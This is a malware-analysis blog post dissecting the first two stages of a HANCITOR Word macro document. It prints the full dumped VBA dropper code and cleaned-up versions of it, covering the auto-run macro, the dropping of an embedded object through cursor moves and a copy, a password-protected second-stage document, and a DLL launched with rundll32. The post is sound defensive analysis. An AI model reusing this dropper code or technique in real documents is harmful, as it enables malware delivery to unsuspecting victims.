


HANCITOR: Analysing The Malicious Document

 [Offset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/](https://offset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/)

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**Offset Training
Solutions**



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- No Comments

HANCITOR (aka CHANITOR) is a prevalent malware loader that spreads through social engineering in the form of Word or DocuSign® documents. The infected document includes instructions for the victim to manually allow the malicious macro code to be executed. The HANCITOR executable payload dropped by the macro code is used to download other malware on the victim machines such as FickerStealer, Cuba ransomware, Zeppelin ransomware, and Cobalt Strike beacons.

In this post particularly, we will analyze the first two stages of a HANCITOR infection through Word documents. Similar to other campaigns, the initial stage is delivered through malspam, and the final HANCITOR DLL payload is dropped and executed after the victim opens the document.


To follow along, you can grab the sample as well as the PCAP files for it on [Malware-Traffic-Analysis.net](#).

SHA256:

8733E81F7EF203F4D1C4208B75C6AB2548259CC35D68DF10EBF23A31E777871B

Step 1: Dumping First Stage Macros

Upon opening the document in Word, we can see an image directing us to click on the “Enable editing” and “Enable content” buttons with a security alert saying that macros have been disabled. This hints to us that this document contains some macro code that will be executed when we click to enable macro.



We can use `olevba` to quickly dump and analyze the document’s macro code. As shown below, the tool identifies the `Document_Open` function with type `AutoExec`, which is executed if the victim presses the “Enable content” button. There are other suspicious commands to execute other files on the system, so we can analyze the VBA code to examine its full functionalities.

Type	Keyword	Description
AutoExec	Document_Open	Runs when the Word or Publisher document is opened
Suspicious	Open	May open a file
Suspicious	Run	May run an executable file or a system command
Suspicious	Call	May call a DLL using Excel 4 Macros (XLM/XLF)
Suspicious	Base64 Strings	Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)

Below is the full VBA macros dumped from `olevba`.

Stage 1 Macro Code Dump

VBA MACRO ThisDocument.cls

in file: 0929_966655534820.doc – OLE stream: 'Macros/VBA/ThisDocument'

Option Explicit

Option Compare Text

Dim nccx As String

Dim vssfs As String

Private Sub Document_Open()

Dim dfgdgdg

Call s1("Lo")

Dim fds, fdsa As String

fds = "\"

fdsa = ".d"

Call s2("cal/")

Call ass

Call acc

Dim kytrewwf As String

kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & fds & "zoro" & fdsa & vssfs) = "" Then

Dim mySum

mySum = Application.Run("bvxfcsd")

If Len(nccx) > 2 Then

Call nam(nccx, kytrewwf)

Call pppx(kytrewwf & fds & "zoro" & fdsa & vssfs)

End If

End If

End Sub

Sub ass()

vssfs = "o"

End Sub

Sub acc()

vssfs = vssfs & "c"

End Sub

Sub hdhdd(asda As String)

Dim MyFSO As FileSystemObject

Dim MyFile As File

Dim SourceFolder As String

Dim DestinationFolder As String

Dim MyFolder As Folder

Dim MySubFolder As Folder

Set MyFSO = New Scripting.FileSystemObject

Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

VBA MACRO Module1.bas

in file: 0929_966655534820.doc – OLE stream: 'Macros/VBA/Module1'

Sub pppx(pili As String)

```
Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _  
    False, AddToRecentFiles:=False,  
PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _  
    PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _  
    WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""  
End Sub
```

VBA MACRO Module3.bas

in file: 0929_966655534820.doc – OLE stream: 'Macros/VBA/Module3'

```
Dim mgf, uhjknb, wers, qweds, fafaa As String
```

```
Sub s1(vi As String)
```

```
mgf = vi
```

```
End Sub
```

```
Sub s2(vi As String)
```

```
uhjknb = vi
```

```
End Sub
```

```
Sub s3(vi As String)
```

```
wers = vi
```

```
End Sub
```

```
Sub bvxfcsd()
```

```
wers = "T" & "e"
```

```
Selection.MoveDown Unit:=wdLine, Count:=3
```

```
Selection.MoveRight Unit:=wdCharacter, Count:=2
```

```
Selection.MoveDown Unit:=wdLine, Count:=3
```

Selection.MoveRight Unit:=wdCharacter, Count:=2

Selection.TypeBackspace

Selection.Copy

Dim uuuuc

uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

ntgs = 50

sda = 49

Dim poidds As String

qweds = "m" & "p"

Dim kuls As String

poidds = mgf & uhjknb & wers & qweds

fafaa = poidds

While sda < 50

ntgs = ntgs - 1

If Dir(Left(uuuuc, ntgs) & fafaa, vbDirectory) = "" Then

Else

sda = 61

End If

Wend

Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)

End Sub

VBA MACRO Module123345.bas

in file: 0929_966655534820.doc – OLE stream: 'Macros/VBA/Module123345'

```

Dim pls As String

Sub Search(mds As Object, pafs As String)

Dim Nedc As Object

    Dim Ters As Object

For Each Nedc In mds.SubFolders

    Search Nedc, pafs

Next Nedc

For Each Ters In mds.Files

If Ters.Name = "zoro.kl" Then

    pafs = Ters

    End If

Next Ters

Exit Sub

ErrHandle:

    Err.Clear

End Sub

Sub nam(pafs As String, aaaa As String)

Call ousx(aaaa)

Dim oxl

oxl = "\zoro.d"

oxl = oxl & "oc"

Name pafs As pls & oxl

End Sub

Sub uoia(fffs As String)

pls = fffs

```


End Sub

Sub ousx(aaaa As String)

Call uoia(aaaa)

End Sub

Step 2: Analyzing First Stage Macros

The **Document_Open** function is a special function that gets executed when the document is opened, so it is definitely a good starting point for us to begin analyzing. The raw **Document_Open** function is documented below.

```
Private Sub Document_Open()  
    Dim dfgdgdg  
    Call s1("Lo")  
  
    Dim fds, fdsa As String  
    fds = "\"  
    fdsa = ".d"  
    Call s2("cal/")  
    Call ass  
    Call acc  
    Dim kytrewwf As String  
    kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)  
  
    If Dir(kytrewwf & fds & "zoro" & fdsa & vssf) = "" Then  
        Dim mySum  
        mySum = Application.Run("bvxfcsd")  
  
        If Len(nccx) > 2 Then  
            Call nam(nccx, kytrewwf)  
            Call pppx(kytrewwf & fds & "zoro" & fdsa & vssf)  
        End If  
    End If  
End Sub
```

Most of the variable declarations and function calls are just simple obfuscation techniques, which are used to break down strings and hide them from being dumped directly from the Word document. If we resolve these and replace the variables with their content, the first IF statement becomes a check to see if the “zoro.doc” file in the user template path exists.

```
If Dir(kytrewwf & "\" & "zoro" & ".d" & ".oc") = "" Then
```

If it doesn't exist, the macros calls the **Application.Run** method to execute the function **bvxfcsd**. Below is the cleaned up version of this function's code.

```

Sub bvxfczd()
  Selection.MoveDown Unit:=wdLine, Count:=3
  Selection.MoveRight Unit:=wdCharacter, Count:=2
  Selection.MoveDown Unit:=wdLine, Count:=3
  Selection.MoveRight Unit:=wdCharacter, Count:=2
  Selection.TypeBackspace
  Selection.Copy

  Dim uuuuc
  uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)


  ntgs = 50
  sda = 49

  While sda < 50
    ntgs = ntgs - 1
    If Dir(Left(uuuuc, ntgs) & "Local/Temp", vbDirectory) = "" Then
    Else
      sda = 61
    End If
  Wend
  Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & "Local/Temp")
End Sub

```

The first thing we see is a set of calls executing methods from the **Selection** property. Since the cursor points to the beginning of the document initially, these calls move it down 3 lines, right 2 characters, down 3 lines, right 2 characters, and delete one character from the cursor.


This block of code might seem harmless, but it is an effective way to manually drop VBA objects into the file system. If we move the cursor according to the steps above, we see that the cursor stops at a visible but small black box that isn't there initially.




This black box represents a VBA object embedded in the document, and once interacted by the victim or the VBA macros, the object is automatically dropped to the file system. Interactions that trigger this include copying the object, which is invoked when the macros calls the function **Selection.Copy**.

Microsoft documents [here](#) that embedded Word Objects are stored as temporary files in the **Temp** directory for the document to interact with if needed. Therefore, we know that this object, whatever it is, is dropped somewhere in the victim's **Temp** directory.

We can go further and examine the object's properties to find the exact path of it.





As shown, the object is dropped to the file **zoro.kl** in the folder **{90224AF4-616C-4FE4-9467-D6BA4B34E24E}** inside the **Temp** directory of my analysis VM. This is in fact the second stage Word document that is later launched in the code, but we will keep analyzing the VBA macros to see how the code interacts with it.

After dropping this file, the function loops to find the path to the **Local\Temp** directory that is valid and calls the function **hdhdd** with the **Temp** directory path as parameter. Below is the content of that function.

```
Sub hdhdd(asma As String)
    Dim MyFSO As FileSystemObject
    Dim MyFile As File
    Dim SourceFolder As String
    Dim DestinationFolder As String
    Dim MyFolder As Folder
    Dim MySubFolder As Folder
    Set MyFSO = New Scripting.FileSystemObject

    Call Search(MyFSO.GetFolder(asma), nccx)

End Sub
```

This function basically just retrieves the folder object for the path from its parameter, which is the **Temp** path, and calls the **Search** function. Below is the cleaned up version of the function's content.

```
Sub Search(in_dirpath As Object, out_string As String)
    Dim subfolder As Object

    Dim fileobject As Object

    For Each subfolder In mds.SubFolders
        Search subfolder, in_dirpath
    Next subfolder

    For Each fileobject In in_dirpath.Files
        If fileobject.Name = "zoro.kl" Then
            out_string = fileobject
        End If
    Next fileobject
Exit Sub
ErrHandle:
    Err.Clear
End Sub
```

The first loop of this function iterates through all subfolders in the **Temp** path. For each of those subfolders, the function recursively calls itself to search in that subfolder. At the base case of the recursion where there are no more subfolders in the current folder, the code iterates through all file objects and checks if its name is **zoro.kl**.

Once found, the code sets the second parameter to this file object. Ultimately, this **Search** call recursively searches for the **zoro.kl** file that is dropped earlier and sets the global variable **nccx** to the file path.

After this part, the code picks up back in the **Document_Open** function where the final IF statement checks if the length of **nccx** (the **zoro.kl** file path) is longer than 2. It then calls the function **nam** passing the file path and the user template path respectively. Below is the cleaned up version of this function.

```
Sub nam(zoro_kl_file_path As String, user_template_path As String)

    Dim oxl
    oxl = "\zoro.doc"
    Name zoro_kl_file_path As user_template_path & oxl
End Sub
```

This function executes the VBA **Name** statement to rename the **zoro.kl** file in the **Temp** folder to **zoro.doc** and move it to the user template folder.

The final call in **Document_Open** is to the function **pppx** with the full path to the **zoro.doc** file as parameter. Below is the content of that function.

```

Sub pppx(pili As String)
    Documents.Open FileName:=pili, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False,
PasswordDocument:="doyouknowthatthegodsofdeathonlyeatapples?", _
    PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
    WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

```

This function executes the **Documents.Open** method to open the **zoro.doc** file. A different thing about this newly dropped document is that it comes with the password **“doyouknowthatthegodsofdeathonlyeatapples?”**, which is used to open and execute the macro code inside.

Step 3: Dumping Stage 2 Macros

Similar to the first stage, the second stage document contains some macro code that can be dumped by **olevba**. However, the default **olevba** command does not work for this document and throws an error that the document can not be decrypted.

```

C:\Users\chuon\Desktop\hancitor_word_doc>olevba zoro.doc
pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60 on Python 3.9.6 - http://decalage.info/python/oletools
=====
FILE: zoro.doc
Type: OLE
No VBA or XLM macros found.

ERROR    Decrypt failed, run with debug output to get details
ERROR    Problems with encryption in main: Given passwords could not decrypt office file zoro.doc, use option -p to specify the password
Traceback (most recent call last):
  File "c:\users\chuon\appdata\local\programs\python\python39\lib\site-packages\oletools\olevba.py", line 4668, in main
    curr_return_code = process_file(filename, data, container, options)
  File "c:\users\chuon\appdata\local\programs\python\python39\lib\site-packages\oletools\olevba.py", line 4560, in process_file
    raise crypto.WrongEncryptionPassword(filename)
oletools.common.errors.WrongEncryptionPassword: Given passwords could not decrypt office file zoro.doc, use option -p to specify the password

```

Since the document is encrypted with the password we see in the earlier stage, we must provide that in the **olevba** command to decrypt the document before dumping its macro code.

```
olevba zoro.doc -p doyouknowthatthegodsofdeathonlyeatapples?
```

As shown from the **olevba** result below, the document’s macros contain a **Document_Open** function with type **AutoExec** as well as the functionality to run an executable file.

Type	Keyword	Description
AutoExec	Document_Open	Runs when the Word or Publisher document is opened
Suspicious	Shell	May run an executable file or a system command
Suspicious	Call	May call a DLL using Excel 4 Macros (XLM/XLF)
IOC	2.exe	Executable file name

The content of the macros is recorded below.

Stage 2 Macro Code Dump

VBA MACRO ThisDocument.cls

in file: word/vbaProject.bin – OLE stream: 'VBA/ThisDocument'

Option Explicit

Option Compare Text

Dim hdv As String

Dim bbbb As String

Dim med As String

Private Sub Document_Open()

Dim vcbc As String

Dim dfgdgdg

bbbb = "ru" & "ndl"

vcbc = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(vcbc & "\gelforr.dap") = "" Then

Selection.MoveDown Unit:=wdLine, Count:=3

Selection.MoveRight Unit:=wdCharacter, Count:=2

Selection.MoveDown Unit:=wdLine, Count:=3

Selection.MoveRight Unit:=wdCharacter, Count:=2

Selection.TypeBackspace

Selection.Copy

Call bvxfcsd

If Len(hdv) > 2 Then

Call nam(hdv)

```
Dim pattison

pattison = "\gelforr.dap"

Dim cvzz As String

cvzz = "13" & "2.exe"

Shell (bbbb & cvzz & " " & vcbc & pattison & ",BNJAFSRSQIX")

ActiveDocument.Close

End If

End If

End Sub

Sub hdhdd(asda As String)

Dim MyFSO As FileSystemObject

Dim MyFile As File

Dim SourceFolder As String

Dim DestinationFolder As String

Dim MyFolder As Folder

Dim MySubFolder As Folder

Set MyFSO = New Scripting.FileSystemObject

Call Search(MyFSO.GetFolder(asda), hdv)

End Sub
```

VBA MACRO Module1.bas

in file: word/vbaProject.bin – OLE stream: 'VBA/Module1'

```
Dim pls As String
```

```
Sub nam(pafs As String)
```



```

Call ousx

Dim oxl

oxl = "\gelforr.dap"

Name pafs As pls & oxl

End Sub

Sub ousx()

Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))

End Sub

Sub Search(mds As Object, pafs As String)

Dim Nedc As Object

Dim ffff

ffff = "gelfor.dap"

For Each Nedc In mds.SubFolders

    Search Nedc, pafs

Next Nedc

Dim Ters As Object

For Each Ters In mds.Files

If Ters.Name = ffff Then

    pafs = Ters

End If

Next Ters

Exit Sub

ErrHandle:

    Err.Clear

End Sub

```

```
Sub uoia(fffs As String)
```

```
pls = fffs
```

```
End Sub
```

```
VBA MACRO Module3.bas
```

```
in file: word/vbaProject.bin – OLE stream: 'VBA/Module3'
```

```
Sub bvxfcsd()
```

```
Dim uuuuc
```

```
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
```

```
Dim ewrwsdf As String
```

```
ewrwsdf = "L" & "o"
```

```
ewrwsdf = ewrwsdf & "c" & "a" & "l"
```

```
ewrwsdf = ewrwsdf & "/" & "Temp"
```

```
    ntgs = 50
```

```
sda = 49
```

```
While sda < 50
```

```
    ntgs = ntgs – 1
```

```
    If Dir(Left(uuuuc, ntgs) & ewrwsdf, vbDirectory) = "" Then
```

```
Else
```

```
sda = 61
```

```
End If
```

```
Wend
```

```
Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)
```

```
End Sub
```

Step 4: Analyzing Stage 2 Macros

Again, we begin our analysis at the **Document_Open** function as it is the entry point of the code.

Here, we can see a similar code pattern to the code in the first stage. It first checks if the **gelforr.dap** file exists in the user template path, and if it does not, the same methods from the **Selection** property are executed to drop the document's VBA object into the **Temp** directory.

```
Private Sub Document_Open()  
    Dim vcbc As String  
    vcbc = Options.DefaultFilePath(wdUserTemplatesPath)  
  
    If Dir(vcbc & "\gelforr.dap") = "" Then  
        Selection.MoveDown Unit:=wdLine, Count:=3  
        Selection.MoveRight Unit:=wdCharacter, Count:=2  
        Selection.MoveDown Unit:=wdLine, Count:=3  
        Selection.MoveRight Unit:=wdCharacter, Count:=2  
        Selection.TypeBackspace  
        Selection.Copy  
        Call bvxfcSD  
  
        If Len(hdv) > 2 Then  
            Call nam(hdv)  
            Shell ("rundl" & "132.exe" & " " & vcbc & "\gelforr.dap" &  
",BNJAFSRSQIX")  
            ActiveDocument.Close  
        End If  
    End If  
End Sub
```

Next, the function **bvxfcSD** is called. As seen below in the code's cleaned-up version, this function is a copy of the function **bvxfcSD** in the first stage, and they both call the function **hdhdd** to search for the dropped VBA object in the **Temp** directory. The only difference between these stages is the name of the object file being searched, with the second stage's document searching for the filename **gelfor.dap**.

```

Sub bvxfcsd()
  Dim uuuuc
  uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
  ntgs = 50
  sda = 49

  While sda < 50
    ntgs = ntgs - 1
    If Dir(Left(uuuuc, ntgs) & "Local/Temp", vbDirectory) = "" Then
    Else
      sda = 61
    End If
  Wend
  Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & ewrwsdf)
End Sub

```

Once found, the path to the **gelfor.dap** file is written to the **hdv** variable, which is then passed to the function **nam** as parameter. Similar to the **nam** function in the first stage, this function renames the **gelfor.dap** file in the **Temp** path to **gelforr.dap** and moves it to the user template folder.

```

Sub nam(pafs As String)
  Name pafs As pls & "\gelforr.dap"
End Sub

```

Finally, the code calls the **Shell** VBA function to execute the following command.

```
rundll32.exe <user template path>\gelforr.dap, BNJAFSRSQIX
```

From this, we know that the dropped VBA object is a DLL file, and the second stage's document executes its exported function **BNJAFSRSQIX** using the **rundll32.exe** executable.

The dropped DLL is the final HANCITOR payload that is used to download a Cobalt Strike beacon, and we will be analyzing HANCITOR functionalities using this sample in the next blog post!

If you have any questions regarding the analysis, feel free to reach out to me via [Twitter](#).